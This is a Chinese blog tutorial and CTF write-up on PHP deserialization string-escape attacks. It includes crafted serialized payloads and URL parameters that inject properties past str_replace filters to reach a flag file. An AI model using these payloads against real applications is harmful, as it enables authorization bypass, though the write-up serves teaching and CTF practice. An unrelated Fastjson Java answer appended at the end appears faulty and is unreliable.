php反序列化字符串逃逸

目录

一、字符串逃逸基础

1、反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化

2、特性

成员属性数量

字符串长度

;}是反序列化结束符

3、str_replace()

二、字符串逃逸

1、字符串逃逸——减少(有点绕比较难理解需要多思考)

2、字符串逃逸——增多

3、例题

例题1——增多

例题2——减少

总结:


一、字符串逃逸基础

1、反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化

2、特性

  • 成员属性数量

成员属性数量需要与实际的成员属性数量对应

现象1

<?php
class A{
    var $v1 = 'a';    //预定义里只有一个成员属性
}
echo serialize(new A());

$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';    //但这里增加了属性v2
var_dump(unserialize($b));
----------------------------------------------------------
O:1:"A":1:{s:2:"v1";s:1:"a";}
bool(false)    //报错
<?php
class A{
    var $v1 = 'a';    //预定义里只有一个成员属性
}
echo serialize(new A());

$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"ben";}';    //属性数量为2
var_dump(unserialize($b));
--------------------------------------------------------
O:1:"A":1:{s:2:"v1";s:1:"a";}
object(A)#1 (2) {
  ["v1"]=>
  string(1) "a"
  ["v2"]=>
  string(3) "ben"
}

现象2

<?php
class A{
    var $v1 = 'a';
    var $v2 = 'lin';
}
echo serialize(new A());
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v3";s:3:"ben";}';
var_dump(unserialize($b));
---------------------------------------------------------
O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"lin";}
object(A)#1 (3) {
  ["v1"]=>
  string(1) "a"    //由反序列化获取,改反序列化里的值改变
  ["v2"]=>
  string(3) "lin"    //由A中对应的值获取,直接改v2的值改变
  ["v3"]=>
  string(3) "ben"    //由反序列化获取,改反序列化里的值改变
}
  • 字符串长度

成员属性字符串的长度必须与实际长度一致

O:1:"A":1:{s:2:"v1";s:3:"a"b";}

"是字符还是格式符号由字符串长度3来判断

  • ;}是反序列化结束符

注意:;}前面不能出问题,;}第一次出现的位置结束(第一次出现;}如果在""里则算字符串)

<?php
class A{
    var $v1 = 'a';
    var $v2 = 'lin';
}
echo serialize(new A());
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v3";s:3:"ben";}s:2:"gg";N;}';    
var_dump(unserialize($b));
-------------------------------------------------------------------
O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:3:"lin";}
object(A)#1 (3) {
  ["v1"]=>
  string(1) "a"
  ["v2"]=>
  string(3) "lin"
  ["v3"]=>
  string(3) "ben"
}

;}后加的s:2:"gg";N;}功能性字符串并不影响;}前面的输出

3、str_replace()

用法:用于在字符串中替换指定的内容

语法:

str_replace($search, $replace, $subject, $count);

 参数说明:

  • $search:要被替换的字符串或字符串数组;

  • $replace:用于替换的字符串或字符串数组;

  • $subject:需要进行替换操作的字符串或字符串数组;
  • $count(可选):用于储存替换的次数。

二、字符串逃逸

一般再数据先进行一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸

1、字符串逃逸——减少(有点绕比较难理解需要多思考)

第一个字符串减少,吃掉有效代码,在第二个字符串构造代码,多逃逸出一个成员属性

<?php
class A{
    public $v1 = "abcsystem()";
    public $v2 = "123";
}
$data = serialize(new A());    //O:1:"A":2:{s:2:"v1";s:11:"abcsystem()";s:2:"v2";s:3:"123";}
$data = str_replace("system()","",$data);    //str_replace把system()替换为"空"
echo $data;    //O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));    //bool(false)
-----------------------------------------
O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
bool(false)

O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}

字符串缺失导致格式被破坏,system()被吃掉,abc";s:2:"v长度为11

令O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:"123";}

如此我们可以让123前面的代码abc";s:2:"v2";s:3:"成为一个字符串

思路:通过修改$v2的值123使后面的字符串变为功能性代码;s:2:"v3";N;}实现属性v3的逃逸

O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:?:";s:2:"v3";N;}";}

假设?=两位数(通常情况下是两位数

O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:xx:";s:2:"v3";N;}
一个system()可以替换掉8个字符,abc";s:2:"v2";s:xx:"长度为20,所以前面最少要吃掉3个system()

O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:xx:";s:2:"v3";N;}";}

abcsystem()system()syestem()的长度是27,吃掉后abc";s:2:"v2";s:xx:"长度为20,

所以后面还要再补上7个字符,故:

O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()syestem()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}

故v1赋值为abcsystem()system()system();v2赋值为1234567";s:2:"v3";N;}

赋值后再次运行

<?php
class A{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '1234567";s:2:"v3";N;}';
}
$data = serialize(new A());    //O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
$data = str_replace("system()","",$data);
echo $data;    //O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
var_dump(unserialize($data));
------------------------------------------------
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
object(A)#1 (3) {
  ["v1"]=>
  string(27) "abc";s:2:"v2";s:21:"1234567"
  ["v2"]=>
  string(21) "1234567";s:2:"v3";N;}"
  ["v3"]=>
  NULL
}

属性v3逃逸出来了

2、字符串逃逸——增多

第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性,构造出一个逃逸成员属性

<?php
class A{
    public $v1 = 'ls';
    public $v2 = '123';
}
$data = serialize(new A());    //O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data);    //ste_replace把'ls'替换为'pwd'
echo $data;    //O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));    //bool(false)
--------------------------------------
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
bool(false)

O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

字符串增多末尾的d被挤出

思路:把吐出来的字符构造成功能性代码

O:1:"A":2:{s:2:"v1";s:xx:"pwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

";s:2:"v3";s:3:"666";}的长度为22,;}可以结束反序列化所以后面的原功能性代码";s:2:"v2";s:3:"123";}可以不用管

一个ls转成pwd多一个字符,所以要转成";s:2:"v3";s:3:"666";}需要22个ls转成pwd

O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}

lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}成为一串字符串长度为66

故将v1赋值为lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}

赋值后再次运行

<?php
class A{
    public $v1 = 'lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}';
    public $v2 = '123';
}
$data = serialize(new A());    //O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
$data = str_replace("ls","pwd",$data);
echo $data;    //O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
var_dump(unserialize($data));
--------------------------------------------------------------------
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
object(A)#1 (3) {
  ["v1"]=>
  string(66) "pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd"
  ["v2"]=>
  string(3) "123"
  ["v3"]=>
  string(3) "666"
}

属性v3逃逸出来了

3、例题

  • 例题1——增多
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php"); 
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));    // //对&param的值user进行安全性检查


if ($profile->pass=='escaping'){    //目标
    echo file_get_contents("flag.php");
}
?>

目标:判断pass=='escaping'

分析题目:

1、filter()将flag或者php替换为hack,由于flag长度与hack一致,php与hack长度有变化故这题是用hack替换php的字符增多逃逸;序列化触发__construct()调用$user,user的值是可控的

2、摘取出代码中的可利用信息构造出关键成员属性序列化字符串

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hack",$name);
//    return $name;
//}
class test{
    var $user='php';
    var $pass='escaping';
//    function __construct($user){
//        $this->user=$user;
//    }
}
//$param=$_GET['param'];
//$param=serialize(new test($param));
//$profile=unserialize(filter($param));

//if ($profile->pass=='escaping'){    //目标
//    echo file_get_contents("flag.php");
//}
echo serialize(new test());
?>
----------------------------------------------
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"escaping";}

得到需要构造的字符串是";s:4:"pass";s:8:"escaping";},长度为29

3、一个php被替换会吐出一个字符故需要给user赋值为phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hack",$name);
//    return $name;
//}
class test{
    var $user= 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
    var $pass='escaping';
//    function __construct($user){
//        $this->user=$user;
//    }
}
//$param=$_GET['param'];
//$param=serialize(new test($param));
//$profile=unserialize(filter($param));

//if ($profile->pass=='escaping'){    //目标
//    echo file_get_contents("flag.php");
//}
$a=serialize(new test());
$a=str_replace("php","hack",$a);
echo $a;
?>
-----------------------------------------------
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"escaping";}

4、发现替换成功后将赋的值带回题目

?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}查看源代码得到flag

  • 例题2——减少
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;    //目标
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));    //对&param的值user进行安全性检查

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>

目标:$vip=ture

分析题目:

1、filter()将flag或者php替换为hk,由于flag和php长度都与hk有差所以都可以选择我们这里一样选择php作为被替换的字符,这题是字符减少的字符逃逸;序列化触发__construct()调用$user,user的值是可控的

2、摘取出代码中的可利用信息构造出关键成员属性序列化字符串

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{
    var $user = 'php';
    var $pass = 'lin';
    var $vip = true ;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>
----------------------------------------------
O:4:"test":3:{s:4:"user";s:3:"php";s:4:"pass";s:3:"lin";s:3:"vip";b:1;}

得到需要构造的关键代码是";s:3:"vip";b:1;}

3、给pass赋值为";s:3:"vip";b:1;}

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{
    var $user = 'php';
    var $pass = '";s:3:"vip";b:1;}';
    var $vip = true;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
echo serialize(new test());
?>
-------------------------------------------------
O:4:"test":3:{s:4:"user";s:3:"php";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}

4、一个php被替换为hk后面的代码就会有一个字符被包含(吃掉),需要被吃掉的";s:4:"pass";s:17:"长度为19,给user赋值为phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp

<?php
//function filter($name){
//    $safe=array("flag","php");
//    $name=str_replace($safe,"hk",$name);
//    return $name;
//}
class test{
    var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp';
    var $pass = '";s:3:"vip";b:1;}';
    var $vip = true;
//    function __construct($user,$pass){
//        $this->user=$user;
//        $this->pass=$pass;
//    }
//}
//$param=$_GET['user'];
//$pass=$_GET['pass'];
//$param=serialize(new test($param,$pass));
//$profile=unserialize(filter($param));
//
//if ($profile->vip){
//    echo file_get_contents("flag.php");
}
$a = serialize(new test());    //O:4:"test":3:{s:4:"user";s:57:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}
$a = str_replace("php","hk",$a);
echo $a;    //O:4:"test":3:{s:4:"user";s:57:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}
?>
-----------------------------------------------------------------------------------
O:4:"test":3:{s:4:"user";s:57:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:17:"";s:3:"vip";b:1;}";s:3:"vip";b:1;}

5、发现替换成功后将赋的值带回题目

?user=

phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp&pass=";s:3:"vip";b:1;}

查看源代码得到flag(由于靶场有点问题就不做演示)

总结:

字符增多逃逸:第一个字符串增多出多余代码,把多余位代码构造成逃逸的成员属性,构造出一个逃逸成员属性

字符减少逃逸:第一个字符串减少掉有效代码,在第二个字符串构造代码,多逃逸出一个成员属性

做题顺序:

1、找目标;

2、构造所需的有效代码;

3、将构造出的有效代码作为值赋值给属性

  • 22
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fastjson是一个Java语言编写的高性能JSON处理框架,它提供了丰富的功能和灵活的API,其中包括对反序列化字符串数组的支持。 要使用Fastjson进行反序列化字符串数组,可以按照以下步骤进行操作: 1. 导入Fastjson库:首先需要在项目中导入Fastjson库,可以通过Maven或手动下载并添加到项目的依赖中。 2. 创建JSON字符串:准备一个包含字符串数组的JSON字符串,例如:`["string1", "string2", "string3"]`。 3. 定义目标类型:创建一个Java类来表示目标类型,该类应该包含一个与JSON字符串中的数组对应的字段。 4. 进行反序列化:使用Fastjson提供的API进行反序列化操作。可以使用`JSON.parseObject()`方法将JSON字符串转换为Java对象,然后通过获取字段值来获取字符串数组。 下面是一个示例代码,演示了如何使用Fastjson反序列化字符串数组: ```java import com.alibaba.fastjson.JSON; public class Main { public static void main(String[] args) { String jsonString = "[\"string1\", \"string2\", \"string3\"]"; // 定义目标类型 class MyObject { private String[] strings; public String[] getStrings() { return strings; } public void setStrings(String[] strings) { this.strings = strings; } } // 反序列化 MyObject myObject = JSON.parseObject(jsonString, MyObject.class); String[] strings = myObject.getStrings(); // 打印结果 for (String str : strings) { System.out.println(str); } } } ``` 这样,你就可以使用Fastjson来反序列化字符串数组了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值